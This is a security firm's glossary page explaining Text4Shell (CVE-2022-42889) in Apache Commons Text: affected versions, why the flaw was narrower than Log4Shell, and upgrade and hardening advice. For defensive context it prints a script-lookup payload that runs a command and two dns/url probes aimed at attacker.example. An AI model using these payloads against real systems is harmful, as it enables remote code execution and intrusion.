Web Exploitation · Term

What is Text4Shell?

Apache Commons Text could evaluate script expressions hidden in strings it interpolated. The name promised another Log4Shell; the real exposure was far narrower, but still serious where it applied.

TL;DR

Text4Shell is the name for CVE-2022-42889, a remote code execution flaw in Apache Commons Text 1.5 to 1.9 disclosed in October 2022 with a CVSS score of 9.8. The library's StringSubstitutor enabled script, dns and url lookups by default, so untrusted input passed to interpolation could run code, for example with ${script:javascript:...}. Unlike Log4Shell, it only triggered when an app passed attacker input into StringSubstitutor interpolation, which few apps did. Fixed in Commons Text 1.10.0.

By Pranav Khune, Lead Pentester, SecureLayer7Updated

What Text4Shell is

Apache Commons Text is a Java library of string utilities. Its StringSubstitutor class replaces ${prefix:value} variables in a string. From version 1.5, the default interpolator included lookups that do far more than substitute text: script evaluates code with the JVM script engine, dns performs DNS resolution and url fetches remote content.

Any application that passed untrusted input into a default interpolator therefore gave the caller code execution. This is the same expression-injection pattern as Log4Shell, which is where the name came from.

How the attack works

Shown for defensive context, a payload looks like this when it reaches a vulnerable interpolation call:

  • ${script:javascript:java.lang.Runtime.getRuntime().exec("id")} runs a command through the JavaScript engine on Java versions that still ship one (Nashorn was removed in Java 15).
  • ${dns:address|attacker.example} and ${url:UTF-8:http://attacker.example/} are quieter probes that confirm the lookup fires.

The catch for attackers was reachability. Log4j logs almost everything, so Log4Shell fired almost anywhere. Commons Text only evaluates what developers explicitly pass to StringSubstitutor.createInterpolator().replace() or similar, so exploitable paths were rare. Teams still had to check, because a single vulnerable call site is a full compromise.

How to fix and defend

  • Upgrade Apache Commons Text to 1.10.0 or later, which disables the script, dns and url lookups by default.
  • Never interpolate untrusted input. Treat user data as values to insert, not templates to evaluate, the same rule that prevents template injection.
  • Check transitive dependencies with your build tool's dependency tree, since Commons Text often arrives indirectly.
  • Remove script engines you do not need from the runtime image to reduce the blast radius of any expression-evaluation bug.

References

  1. [1]Apache Commons Text security reports(Apache)
  2. [2]NVD: CVE-2022-42889(NIST NVD)
  3. [3]MITRE CWE-917: Expression Language Injection(MITRE)
Related terms
Related service
Web & API Penetration Testing
Manual, exploit-grade testing of your web apps and APIs, mapped to OWASP, with fixes a developer can ship.
Web & API testing

Common questions

Text4Shell, asked often

Want your servers and dependencies tested for flaws like this?

Test your application

Find the path to a shell before an attacker does.

Our testers check what your servers actually run, prove whether a named vulnerability is exploitable in your environment, and hand your developers a reproducible finding and a fix.

See web application penetration testing30-min scoping call, fixed-price proposal in 48 hours.